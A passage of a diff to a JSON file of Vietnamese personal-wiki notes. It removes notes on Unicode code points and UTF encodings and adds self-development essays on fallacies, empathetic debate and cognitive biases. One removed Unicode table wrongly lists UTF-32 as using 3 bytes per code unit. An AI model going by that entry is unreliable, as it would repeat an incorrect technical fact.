đâu]]] ] \r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "bz" + "id": "fl" }, { - "Tiêu đề": "Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Phát triển bản thân", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Các ký tự ASCII thường nằm ở trong các thẻ HTML\r\n", + "Toàn bộ nội dung": "https://dautuviendong.vn/tuyen-sinh.html", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "b-" + "Ngày tạo": "2023-06-26T07:23:00.000Z", + "Ngày cập nhật": "2024-09-09T13:37:00.000Z", + "id": "fm" }, { - "Tiêu đề": "Lý thuyết Unicode", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Lý thuyết Unicode", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chỉ ra ngụy biện không phải là một phương pháp tranh luận", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Quản lý cảm xúc, tư duy lý tính/Chỉ ra ngụy biện không phải là một phương pháp tranh luận", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\nLIST\nFROM \"🔠Văn bản, ký tự. Sắp chữ, thiết kế/Văn bản, ký tự/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode\" \nWHERE file.name!=this.file.name\nWhere file.name=split(file.folder, \"/\")[1]\n```\n![Plain Text - Dylan Beattie - NDC Copenhagen 2022 - YouTube](https://youtu.be/gd5uJ7Nlvvo)\n\n![](https://youtu.be/5OPkGQoPeHk?si=Y2mZenbD8oXLf8fA) \n", + "Toàn bộ nội dung": "Hôm nay mình đề cập đến từ khóa đang rất hot hiện nay: Ngụy biện. Bài này có thể động chạm, tổn thương tới các fan của Ngụy biện.\n\nNổi lên mới gần đây khoảng 3 tháng, trang phân tích “Ngụy biện - Fallacy” của TS. Phan Hữu Trọng Hiền bỗng nhiên nổi như cồn, với cẩm nang nhận diện các lỗi ngụy biện trong tranh luận. Nó như bửu bối gọn nhẹ, bỗng dưng nhìn đời khác hẳn, nhìn đâu cũng thấy… ngụy biện, nhìn đâu cũng thấy như mình thấu được “ruột gan” của đối phương. Và nó dẫn tới hiện tượng “lậm ngụy biện”.\n\n“Ngụy biện rồi!”\n\n “Comment của bạn đã mắc phải ba lỗi ngụy biện”\n\n “Đọc về ngụy biện đi rồi hẵng nói chuyện tiếp bạn ơi”…\n\nThậm chí nghe ngóng một chuyện thời sự rồi “Thậm chí nghe ngóng một chuyện thời sự rồi “admin ơi phân tích ngụy biện trong clip này dùm mình với?”\n\nHaiz, nghe chuyện phải trái đúng sai tự mình có chủ kiến được, tình cảm yêu ghét xúc động giận dữ cũng tự mình cảm nhận được, tự nhiên giờ cứ chăm chăm vào phân tích lỗi ngụy biện?\n\nNgụy biện là một nội dung mình học từ hồi đại học, thú vị, nhưng mình chưa bao giờ sử dụng nó để “kết tội” người đang tranh luận cả. Mình sử dụng nó để tìm ra cách suy nghĩ có cơ sở, và không tấn công cá nhân người khác.\n\nCông việc của mình liên quan nhiều tới vận động chính sách LGBT, thuyết phục bằng lý lẽ, có thể nói là “làm bạn với định kiến” và ngụy biện, nên yêu cầu sử dụng lập luận phải hiệu quả, có lý lẫn có tình. Và lời khuyên của mình là đừng nói ai đó là ngụy biện nếu bạn muốn tranh luận hay thuyết phục họ, đó sẽ là kết thúc của mọi đối thoại.\n\nMột người sử dụng ngụy biện, thường là một quá trình tự nhiên, không ý thức họ đang cố “bẫy” người kia. Một người khi nói rằng “hôn nhân đồng tính sẽ gây ra tiệt chủng vì mọi người đồng tính hết”, họ không ý thức được họ đang khái quát hóa vội vã, đang kết luận ẩu hay gì cả; mà vì họ đang che đậy những ẩn thức sợ hãi và cấm kỵ trong mình, hay đang cố bảo vệ những niềm tin nội tâm và ký ức của mình.\n\nBiết và chỉ ra họ đang ngụy biện không khiến bạn thành công. Mà phải biết về quá khứ của họ, câu chuyện của họ, những gì đã tạo nên họ, mới có thể hiểu và phản hồi lại những lời “ngụy biện” đó, và chọn đúng chìa khóa để mở ra cánh cửa đi vào đối thoại với họ. Chỉ ra ngụy biện chưa bao giờ được coi là một phương pháp tranh luận. Chỉ ra ngụy biện không khó, buộc họ nhận ra ngụy biện cũng không khó, nhưng vô nghĩa.\n\nCho nên nếu các bạn thấy việc làm thám tử ngụy biện truyền cảm hứng mạnh mẽ cho mình, rất tốt, hãy nghiên cứu thêm nữa. Và sau đó hãy quên hết đi và bước vào đối thoại, tranh luận với tinh thần cởi mở, bạn có thể nhếch mép cười trong tâm trí khi phát hiện ra lỗ hổng gì đó trong tranh luận của đối phương, nhưng hãy nở nụ cười khoan thai của một người đã biết cách làm chủ cuộc chơi của đối thoại.\n\nTác giả: Lương Thế Huy\n\nBài gốc: [https://www.facebook.com/notes/364053918374442/](https://www.facebook.com/notes/364053918374442/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-22T07:54:00.000Z", - "Ngày cập nhật": "2024-08-25T13:50:00.000Z", - "id": "b_" + "id": "fn" }, { - "Tiêu đề": "Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Quản lý cảm xúc, tư duy lý tính", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Quản lý cảm xúc, tư duy lý tính", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chung quy lại định dạng điểm mã Unicode có dạng `U+000639`, với \"U+\" là Unicode, 2 số đầu để mô tả plane, 4 số cuối là điểm mã trong plane đó. Plane đầu tiên gọi là Basic Multilingual Plane, đây là plane quan trọng nhất (plane 0), chứa gần như hầu hết hệ thống chữ viết và ký hiệu thường dùng trên thế giới. Chứa ký tự nằm trong khoảng `U+0000` đến `U+FFFF`.\r\nNguồn:: [Tìm hiểu Unicode](https://viblo.asia/p/tim-hieu-unicode-PwRkgVOXeEd)\r\n", + "Toàn bộ nội dung": "Emotional management\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c0" + "id": "fo" }, { - "Tiêu đề": "Những số bắt đầu bằng 0x là những số hex", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Những số bắt đầu bằng 0x là những số hex", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Tranh luận hiền hoà", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Quản lý cảm xúc, tư duy lý tính/Tranh luận hiền hoà", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Mọi người cũng biết, tranh luận là tốt. Ai tham gia tranh luận cũng mong suy nghĩ của mình giúp ích được cho người khác, chứ không mong áp đặt người khác phải theo ý mình. Có nhận ra điều đó thì sự đánh giá của mình về việc họ đánh giá người khác một cách gay gắt mới bớt gay gắt. Tuy nhiên, có những lúc dù cả hai rất cố gắng để nói cho nhau nghe, nhưng hiểu nhầm vẫn cứ xuất hiện, rồi cuối cùng cả hai lại cáu gắt với nhau. Thật không khác gì chuyện thầy bói xem voi cả.\n\n![](http://changeprocessdesign.files.wordpress.com/2009/11/6-blind-men-hans.jpg) \n\nBảo các ông thầy bói đó có cái tôi lớn thì đã đành, nhưng có những lúc cả hai bên đều thật sự dành tình cảm cho nhau mà bức tường vô hình đó vẫn không thể bị phá vỡ. Cả hai đều cảm thấy bế tắc, dù biết là chuyện này chẳng đáng để bế tắc:\n![](https://www.thisiscolossal.com/wp-content/uploads/2015/09/love-1.jpg) \n\nĐó là điều thật sự rất buồn. Nhưng khi chúng ta quyết định gỡ đám tơ vò này ra, thì lại cảm thấy mù mờ, không biết phải bắt đầu từ đâu:\n\n![](https://xn--qucu-hr5aza.cc/wp-content/uploads/2020/05/image_21059504220_o.jpg) \n\nBàn về lỗi nguỵ biện, tư duy gặng xét hay xoá mù truyền thông đang là trào lưu trong nhiều năm nay. Đã có hằng hà sa số các bài viết, buổi thảo luận hay khoá học như vậy, và mình cũng không có ý phủ nhận sự cần thiết của chúng. Chỉ là mình thấy chỉ như vậy thôi thì không giải quyết triệt để. Có cả trăm loại nguỵ biện, bàn về chúng mình thấy giống như chỉ thấy cây chứ không thấy rừng. Quan trọng hơn hết, việc chăm chăm vào phân tích lỗi ngụy biện có thể dẫn tới giả định rằng hoặc người có lỗi nguỵ biện thiếu hiểu biết về lỗi nguỵ biện, hoặc là có ý đồ giăng bẫy chúng ta, chứ chưa chú trọng việc người kia cũng đã cố gắng trung thực với bản thân và đảm bảo sự logic trong lập luận của mình. Mình nghĩ, một khi họ đã có nỗ lực trong việc thảo luận, thì bản chất của vấn đề sẽ thay đổi, và cần phải có một hệ từ vựng mới để mô tả sự việc. Chỉ đánh giá họ là nguỵ biện sẽ là thiếu hiệu quả trong việc đi đến sự nhất trí, và tạo cảm giác người đánh giá là hời hợt và cũng nguỵ biện không kém. Sử dụng hệ từ vựng về lỗi nguỵ biện là không đủ thấu cảm đối với mình.\n\nỞ một cách tiếp cận khác, cũng có rất nhiều các khoá học về giao tiếp thấu cảm. Một lần nữa, những khoá học như này cũng đều cần thiết, nhưng chúng lại tập trung vào việc nuôi dưỡng cảm xúc tích cực và tránh cảm xúc tiêu cực ở cả bên, chứ không giúp giải quyết những mâu thuẫn về mặt tư tưởng. Nó không giải thích được từ đâu ra xuất hiện cái bức tường vô hình mà mỗi lần chúng ta muốn chạm vào thì lại lẩn đi đâu mất. Mình nghĩ rằng, khi sự hiểu nhầm xảy ra, thì lỗi vừa thuộc về cả hai, vừa không thuộc về ai cả, nhưng cả hai đều cảm thấy vấn đề nằm ở phía người kia chứ không phải mình. Mà nếu không có hiểu biết thấu suốt về vấn đề này, thì không sớm thì muộn sự mông lung sẽ lại trở lại mà thôi.\n\nNhững năm qua, mình đã gom nhặt được một số kiến thức, khái niệm giúp chúng ta đến gần hơn với cái hiểu biết thấu suốt đo. Phần lớn trong số chúng là những kiến thức trong tâm lý học xã hội và tâm lý học nhận thức. Đáng tiếc là mình lại chưa tìm ra thuật ngữ tương đương trong tiếng Việt, nên các bạn chịu khó dùng tiếng Anh vậy.\n\ntrong nhiều trường hợp, dù vô tình hay có chủ đích chúng ta vẫn vướng vào ít nhiều những cuộc tranh luận. Càng lớn, càng nhiều kiến thức,2 bên càng khó tìm được điểm chung sau cuộc tranh luận. Những cuộc tranh luận như vậy ... Vậy nên, buổi thảo luận Tranh luận \"hiền hòa\" được tổ chức nhằm giúp bạn nắm được cơ chế chung của những cuộc tranh luận. Giúp ta dễ dàng nắm giữ và kết nối giữa 2 trục luận điểm. abc...\"\n\n# Một số rào cản cho việc nói chuyện với nhau\n\n## Những lý do khiến ta không nghe được thứ cần nghe\n\n### [Naïve realism](https://en.wikipedia.org/wiki/Na%C3%AFve_realism_(psychology))\n\nTrong tâm lý học xã hội, [naïve realism](https://en.wikipedia.org/wiki/Na%C3%AFve_realism_(psychology)) là một xu hướng tin rằng ta những gì ta thấy ở thế giới xung quanh là khách quan và không thiên kiến, và thấy những ai bất đồng với mình là chưa hiểu rõ vấn đề, thiếu logic hoặc có thiên kiến. Nó được xem là một trong bốn khám phá quan trọng nhất trong ngành.\n\nBa yếu tố để tạo nên một naïve realist:\n\n- Tin rằng bản thân thấy thế giới một cách khách quan và không thiên kiến\n- Kỳ vọng những người khác cũng sẽ đi đến một kết luận tương tự, miễn là họ cũng được cung cấp cùng một lượng thông tin và diễn giải nó theo cách hợp lý\n- Giả định rằng những người không có cùng cách suy nghĩ như vậy là do thiếu thông tin, thiếu logic, hoặc có thiên kiến\n\n### [Egocentrism](https://en.wikipedia.org/wiki/Egocentrism)\n\nKhông nhận ra là cái mình nhìn khác với cái người khác nhìn; cho rằng những gì mình nghe, thấy, biết, nghĩ cũng chính là những gì người khác nghe, thấy, biết, nghĩ.\n\nCó một thí nghiệm như sau: hai cái hộp trái và phải được để trước mặt một đứa trẻ. Một người đặt một món đồ chơi vào hộp bên trái, sau đó đi ra khỏi phòng. Người thứ 2 (có thể là bố mẹ đứa trẻ) sẽ lấy món đồ chơi ra khỏi hộp trái và đặt vào hộp phải. Sau đó họ sẽ hỏi đứa trẻ liệu người thứ nhất nếu muốn tìm lại đồ chơi đó thì sẽ mở hộp nào trước tiên. Với người lớn thì câu trả lời quá rõ ràng: hộp trái, vì người đó không hề biết là món đồ đã bị đổi hộp. Nhưng đứa trẻ lại nghĩ là hộp phải, vì nó đã thấy cảnh đổi hộp. Nói cách khác, việc nó thấy món đồ bị đổi hộp đồng nghĩa với việc những người khác cũng thấy cảnh đổi hộp đó, dù họ không hề ở đó.\n\nThí nghiệm dưới đây là một ví dụ khác cho việc đánh đồng những thứ mình thấy là những thứ người khác cũng thấy.\n\n![https://www.youtube.com/watch?v=OinqFgsIbh0](https://www.youtube.com/watch?v=OinqFgsIbh0)\n\nNhìn vào trong ảnh. Trong một khoảnh khắc, bạn đã tưởng như mọi người cũng nhìn bạn như cách bạn nhìn chính mình. Nhưng thực ra không phải vậy.\n\nTrong đầu họ thực ra chỉ là cái hình ảnh của họ, chứ họ không nghĩ gì đến mình\n\nTrên thực tế chúng ta vẫn rất hay tưởng là người khác đã thấy những gì mình thấy, và biết những gì mình biết, mặc dù thực tế không phải như vậy.\n\nLưu ý: cái duy kỷ này khác với vị kỷ ([egotism](https://en.wikipedia.org/wiki/Egotism)) hoặc ái kỷ (narcissism), mặc dù trông có vẻ rất giống.\n\n### [Illusion of transparency](https://en.wikipedia.org/wiki/Illusion_of_transparency)\n\nLuôn nghĩ rằng những thứ mình nói ra người khác sẽ hiểu hệt như mình. Có một thí nghiệm thế này: người tham dự sẽ được chia thành 2 nhóm: người gõ và người nghe. Nhiệm vụ của người gõ là sẽ chọn ra một bài hát bất kỳ và gõ nhịp của nó lên bàn. Nhiệm vụ của người nghe là đoán bài hát đó. Khi người gõ được hỏi là người nghe sẽ đoán trúng được bao nhiêu, họ đoán khoảng 50%. Thật ra tỉ lệ đoán trúng chỉ khoảng 3%. Một cái tên khác cho vấn đề này là Lời nguyền của kiến thức.\n\n### [Pluralistic ignorance](https://en.wikipedia.org/wiki/Pluralistic_ignorance)\n\n### [Hot and cold cognition](https://en.wikipedia.org/wiki/Hot_and_cold_cognition)\n\n### [Actor–observer asymmetry](https://en.wikipedia.org/wiki/Actor%E2%80%93observer_asymmetry)\n\nActor–observer asymmetry (also actor–observer bias) is a [bias](https://en.wikipedia.org/wiki/Cognitive_bias) one makes when forming [attributions](https://en.wikipedia.org/wiki/Attribution_(psychology)) about the behavior of others or themselves depending on whether they are an actor or an observer in a situation.[[1]](https://en.wikipedia.org/wiki/Actor%e2%80%93observer_asymmetry#cite_note-FOOTNOTEJonesNisbett1971-1) When people judge their own behavior, they are more likely to attribute their actions to the particular situation than to their personality. However, when an observer is explaining the behavior of another person, they are more likely to attribute this behavior to the actors' personality rather than to situational factors.\n### Selective memory\n\n[Mnemic neglect](https://en.wikipedia.org/wiki/Mnemic_neglect)\n\nChỉ nhớ một phần\n\n### Tưởng rằng mình nhớ như in\n\nTrí nhớ của chúng ta không cao, nhưng cảm giác rằng trí nhớ của chúng ta sống động và chân thực là có\n\n[Elizabeth Loftus: How reliable is your memory?](https://www.ted.com/talks/elizabeth_loftus_how_reliable_is_your_memory?utm_campaign=tedspread&utm_medium=referral&utm_source=tedcomshare)\n\nKý ức màu hồng\n\n### Cảm xúc tự nhận thức ([Self-conscious emotions](https://en.wikipedia.org/wiki/Self-conscious_emotions))\n\nNhững cảm xúc được sinh ra khi ta có ý thức về bản thân, như xấu hổ, mặc cảm, tội lỗi, ghen tị, kiêu hãnh, v.v. Kiêu hãnh/tự hào làm ta có cảm giác hơn người khác, trong khi xấu hổ, mặc cảm, tội lỗi, ghen tị làm ta có cảm giá thua người khác. Nó làm lu mờ những thứ cần làm.\n\n### Không nhận ra thứ mình đang chê cũng là thứ mình đang theo đuổi, chỉ là nó ở hình dạng khác. Quên cái cảm xúc mà mình từng ở trong đó\n\nNó không phải là chuyện mình không nhận ra, mà là chuyện mình đã trải qua vấn đề của họ rồi, nhưng mình không nghĩ rằng vấn đề của họ chính là vấn đề mình đang trải qua.\n\n## Những lý do khiến ta không nói được thứ cần nói\n\n### [Tip of the tongue](https://en.wikipedia.org/wiki/Tip_of_the_tongue)\n\nĐang nói chuyện ngon lành giữa chừng thì tự nhiên chẳng biết phải diễn tả tiếp làm sao, mặc dù mình biết chắc chắn là mình có thể diễn tả được. Hiểu ý quên lời chính là đây. Vấn đề là, khi mình đang bị nghi ngờ và phải giải thích, thì khi hiện tượng này xảy ra, họ sẽ lại càng cảm thấy mình đang tìm cách chống chế. Nhưng với người đang bị vậy, việc cảm thấy áp lực sẽ càng làm trạng thái này nặng hơn. Ý ta cần nói chỉ có thể đến lại khi ta tạm quên đi vấn đề trong chốc lát.\n\n![https://www.youtube.com/watch?v=oR11htK_GxE](https://www.youtube.com/watch?v=oR11htK_GxE)\n\n![https://www.youtube.com/watch?v=sFeibGnZ6tc](https://www.youtube.com/watch?v=sFeibGnZ6tc)\n\n### Working memory\n\n### [Incubation](https://en.wikipedia.org/wiki/Incubation_(psychology)). Tốn thời gian để\n\nThe perfect word\n\n\"The difference between the almost right word and the right word is really a large matter - 'tis the difference between the lightning-bug and the lightning.\" — Mark Twain\n\nMất vài giờ cho đến mấy tháng, khi mà sự việc đượ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c1" + "id": "fp" }, { - "Tiêu đề": "Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ta không ngại làm phiền người không hoàn toàn quen", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Ta không ngại làm phiền người không hoàn toàn quen", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Phương thức mã hoá | Số đơn vị mã (code unit) cần để biểu diễn một ký tự bất kỳ | Số byte cần cho một đơn vị mã |\r\n| ------------------ | ---------------------------------------------------------- | ----------------------------- |\r\n| UTF-8 | 1-4 | 1 |\r\n| UTF-16 | 1-2 | 2 |\r\n| UTF-32 | 1 | 3 |\r\n\r\nNguồn:: [Tìm hiểu Unicode](https://viblo.asia/p/tim-hieu-unicode-PwRkgVOXeEd)\r\nVí dụ, chữ `à` có 2 code point:\r\n- `U+0061` cho chữ `a`\r\n- `U+0300` cho dấu huyền\r\n\r\nCó thể kiểm tra điều này bằng lệnh \r\n```\r\n\"à\".length //kết quả là 2 😲\r\n```\r\nTuy nhiên, `a` cũng có thể có 1 code point là `U+00E0`.\r\n[[UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân]]\r\n\r\nĐây cũng là lý do mà [[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép|JSON bắt phải đóng ngoặc kép tất cả các key]]", + "Toàn bộ nội dung": "Tại lúc đó em k cần suy nghĩ đến chuyện sau này phải lm gì để fix ấn tượng của mình trong lòng ngta", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c2" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-01-08T13:32:00.000Z", + "id": "fq" }, { - "Tiêu đề": "Unicode chia thành 17 plane, mỗi plane chứa 65,536 (= 16⁴) điểm mã", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Unicode chia thành 17 plane, mỗi plane chứa 65,536 (= 16⁴) điểm mã", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Bệnh văn phòng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Bệnh văn phòng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "65536 ký tự tương đương từ 0000 - FFFF trong hệ hexa. Đây chính là con số đứng \r\n\r\nNguồn:: [Tìm hiểu Unicode](https://viblo.asia/p/tim-hieu-unicode-PwRkgVOXeEd)\r\n", + "Toàn bộ nội dung": "- [[Ghế ngồi]]\r\n- [[Gù lưng do nhìn điện thoại quá nhiều]]\r\n- [[Viêm loét dạ dày do giờ ăn không đảm bảo]]\r\n- [[Rối loạn giấc ngủ do thức khuya nhiều]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c3" + "id": "fr" }, { - "Tiêu đề": "UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/UTF là cách thức để chuyển đổi từ điểm mã sang hệ nhị phân", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Rối loạn giấc ngủ do thức khuya nhiều", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Bệnh văn phòng/Rối loạn giấc ngủ do thức khuya nhiều", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Unicode Encoding! UTF-32, UCS-2, UTF-16, & UTF-8! - YouTube](https://www.youtube.com/watch?v=uTJoJtNYcaQ)\r\n![](https://youtu.be/c_hfKgektt4?si=gKYUGTBDqefMiXeG) \r\n\r\n[[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-22T14:39:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c4" + "id": "fs" }, { - "Tiêu đề": "Điểm mã không phải là cách để máy tính lưu ký tự", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Điểm mã không phải là cách để máy tính lưu ký tự", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Thoái hóa cột sống", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Bệnh văn phòng/Thoái hóa cột sống", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu]] \r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c5" + "id": "ft" }, { - "Tiêu đề": "Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Trĩ", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Bệnh văn phòng/Trĩ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Điểm mã không phải là cách để máy tính lưu ký tự]] \r\n[[Mỗi điểm mã được biểu diễn dưới dạng U+XXYYYY]]. [[Các ký tự ASCII có 1 điểm mã]]. [[Không gian mã là không gian chứa tất cả các điểm mã của Unicode]]] ] \r\n[[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "c6" + "id": "fu" }, { - "Tiêu đề": "Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Viêm loét dạ dày do giờ ăn không đảm bảo", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Bệnh văn phòng/Viêm loét dạ dày do giờ ăn không đảm bảo", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Quy tắc kiểu cũ có phần căn cứ trên nhãn quan, giữ vị trí dấu ở giữa hay gần giữa mỗi từ cho cân bằng. VD: `hòa`\n- Quy tắc kiểu mới căn cứ trên [ngữ âm 